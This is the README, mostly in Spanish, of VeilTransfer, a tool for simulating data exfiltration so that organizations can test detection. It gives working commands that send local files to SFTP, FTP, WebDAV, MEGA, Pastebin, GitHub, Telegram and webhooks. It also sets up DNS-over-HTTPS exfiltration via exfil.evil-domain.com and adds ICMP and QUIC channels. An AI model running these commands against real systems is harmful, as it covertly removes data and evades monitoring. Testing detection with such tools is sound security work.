
VeilTransfer is a data exfiltration utility designed to test and enhance the detection capabilities. This tool simulates real-world data exfiltration techniques used by advanced threat actors, allowing organizations to evaluate and improve their security posture.
VeilTransfer es una utilidad de exfiltración de datos diseñada para probar y mejorar las capacidades de detección. Esta herramienta simula técnicas reales de exfiltración de datos utilizadas por actores de amenazas avanzados, lo que permite a las organizaciones evaluar y mejorar su postura de seguridad. Al aprovechar múltiples métodos de exfiltración como MEGA, GitHub, SFTP, WebDAV y más, VeilTransfer ayuda a identificar brechas en sus defensas y garantiza que sus soluciones de seguridad estén preparadas para contrarrestar las filtraciones de datos modernas.
| ID | Técnicas |
|---|---|
| T1029 | Scheduled Transfer |
| T1020 | Automated Exfiltration |
| T1132.001 | Data Encoding: Standard Encoding |
| T1560.002 | Archive Collected Data: Archive via Library |
| T1567.001 | Exfiltration Over Web Service: Exfiltration to Code Repository |
| T1567.002 | Exfiltration Over Web Service: Exfiltration to Cloud Storage |
| T1567.003 | Exfiltration Over Web Service: Exfiltration to Text Storage |
| T1567.004 | Exfiltration Over Web Service: Exfiltration Over Webhook |
| T1048.003 | Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol |
| T1048.002 | Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol |
VeilTransfer también admite generar datos falsos, incluidos:
Crea fácilmente archivos zip para agrupar y comprimir datos, que luego pueden usarse para exfiltración o para probar diferentes escenarios. Admite la división opcional en varios archivos según el tamaño.
Este ejemplo demuestra cómo transferir un archivo de forma segura a un servidor remoto mediante el protocolo SFTP. El archivo se encuentra en la máquina local y se transfiere al directorio remoto especificado mediante autenticación SSH.
veiltransfer_client transfer sftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server example.com:22 -username user -password pass
En este ejemplo, los archivos de un directorio local se cargan en un servidor WebDAV. El servidor requiere un nombre de usuario y una contraseña para la autenticación. El parámetro del servidor incluye el esquema de URI (https:// o http://).
veiltransfer_client transfer webdav -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server http://webdav.example.com:8080 -username user -password pass
Este ejemplo muestra cómo transferir archivos al almacenamiento de Mega Cloud. Los archivos se cargan desde un directorio local especificado, y la autenticación se maneja con las credenciales de Mega Cloud del usuario.
veiltransfer_client transfer mega -localPath (/path/to/file or /path/to/directory) -username [email protected] -password megasecretpassword
En este ejemplo, se carga un archivo a un servidor FTP. El archivo se transfiere a un directorio específico en el servidor remoto. El servidor requiere un nombre de usuario y una contraseña para la autenticación.
veiltransfer_client transfer ftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server ftp.example.com:21 -username ftpuser -password ftppassword
Este ejemplo demuestra cómo subir el contenido de un archivo a Pastebin. El contenido se publica en Pastebin utilizando una clave API proporcionada por el usuario.
veiltransfer_client transfer pastebin -localPath (/path/to/file or /path/to/directory) -apiKey your_pastebin_api_key
Este ejemplo muestra cómo enviar un archivo desde la máquina local a un repositorio específico de GitHub. El archivo se agrega al repositorio utilizando el token de API de GitHub del usuario para la autenticación.
veiltransfer_client transfer github -localPath (/path/to/file or /path/to/directory) -repo yourusername/repository -apiKey your_github_api_token
Este ejemplo demuestra cómo enviar un archivo a un canal específico de Telegram. El archivo se envía utilizando un token de API de bot de Telegram, y el mensaje se entrega al ID de canal especificado.
veiltransfer_client transfer telegram -localPath (/path/to/file or /path/to/directory) -telegramAPI your_telegram_bot_api_token -channelID 123456789
En este ejemplo, el contenido de un archivo se envía a una URL de Webhook especificada.
veiltransfer_client transfer webhook -localPath (/path/to/file or /path/to/directory) -webhookURL https://webhook.site/your-webhook-url
Para establecer un mecanismo seguro de exfiltración de datos mediante DNS sobre HTTPS (DoH), se deben configurar los siguientes registros DNS:
Registro A: Apunta test a la dirección IP <VeilTransfer_IP_Address>.
test -> <VeilTransfer_IP_Address>
Registro NS: Define un subdominio (exfil) que esté gestionado por evil-domain.com.
exfil -> test.evil-domain.com
El dominio exfil.evil-domain.com servirá como dominio DNS Exfil.
A continuación, inicia el servidor VeilTransfer en modo DoH con el siguiente comando:
veiltransfer_server doh -key ag36rjsg284nfk2g -folder /root/data/exfil
Nota: La clave de cifrado (-key) debe tener una longitud de 16 o 32 caracteres.
Para subir archivos mediante DoH, asegúrate de que el servidor VeilTransfer esté ejecutándose activamente en modo DoH con una clave de cifrado válida. Luego, inicia la transferencia con el comando del cliente:
veiltransfer_client transfer doh -localPath /path/to/file_or_directory -key ag36rjsg284nfk2g -dnsServer exfil.evil-domain.com
Para iniciar el servidor VeilTransfer en modo QUIC, usa el siguiente comando:
veiltransfer_server quic -cert /path/server.crt -key /path/server.key
Una vez que el servidor esté en ejecución, puedes subir archivos o directorios usando:
veiltransfer_client transfer quic -localPath (/path/to/file or /path/to/directory) -server example.com:443
Para habilitar transferencias de archivos mediante el protocolo ICMP, inicia el servidor VeilTransfer en modo ICMP ejecutando el siguiente comando:
veiltransfer_server_linux icmp -folder /path/folder
Una vez que el servidor esté activo, ejecuta el siguiente comando para transferir archivos o directorios mediante ICMP:
veiltransfer_client_linux transfer icmp -localPath (/path/to/file or /path/to/directory) -server <ip address>
Crea un archivo zip a partir de un directorio especificado.
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip
Crea un archivo zip dividido en varias partes según el tamaño especificado.
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip -splitSize 1000000
Este ejemplo muestra cómo generar 100 entradas de datos falsos de tarjetas de crédito. Los datos generados incluirán números de tarjeta de crédito, fechas de vencimiento y detalles asociados.
veiltransfer_client generate-fake -ccn -count 100
Este ejemplo demuestra cómo generar 50 entradas de datos KTP falsos, que son tarjetas de identidad de Indonesia. Los datos incluyen información personal como nombre, dirección y número de KTP.
veiltransfer_client generate-fake -ktp -count 50
Los datos generados incluyen números de Seguro Social con el formato estándar de EE. UU.
veiltransfer_client generate-fake -ssn -count 200
Este ejemplo demuestra cómo generar 300 registros médicos falsos en inglés.
veiltransfer_client generate-fake -medical-record -count 300 -language en
¡Las contribuciones a VeilTransfer son bienvenidas! Si tienes ideas para nuevas funciones, métodos de exfiltración o mejoras, por favor envía un pull request o abre un issue en GitHub.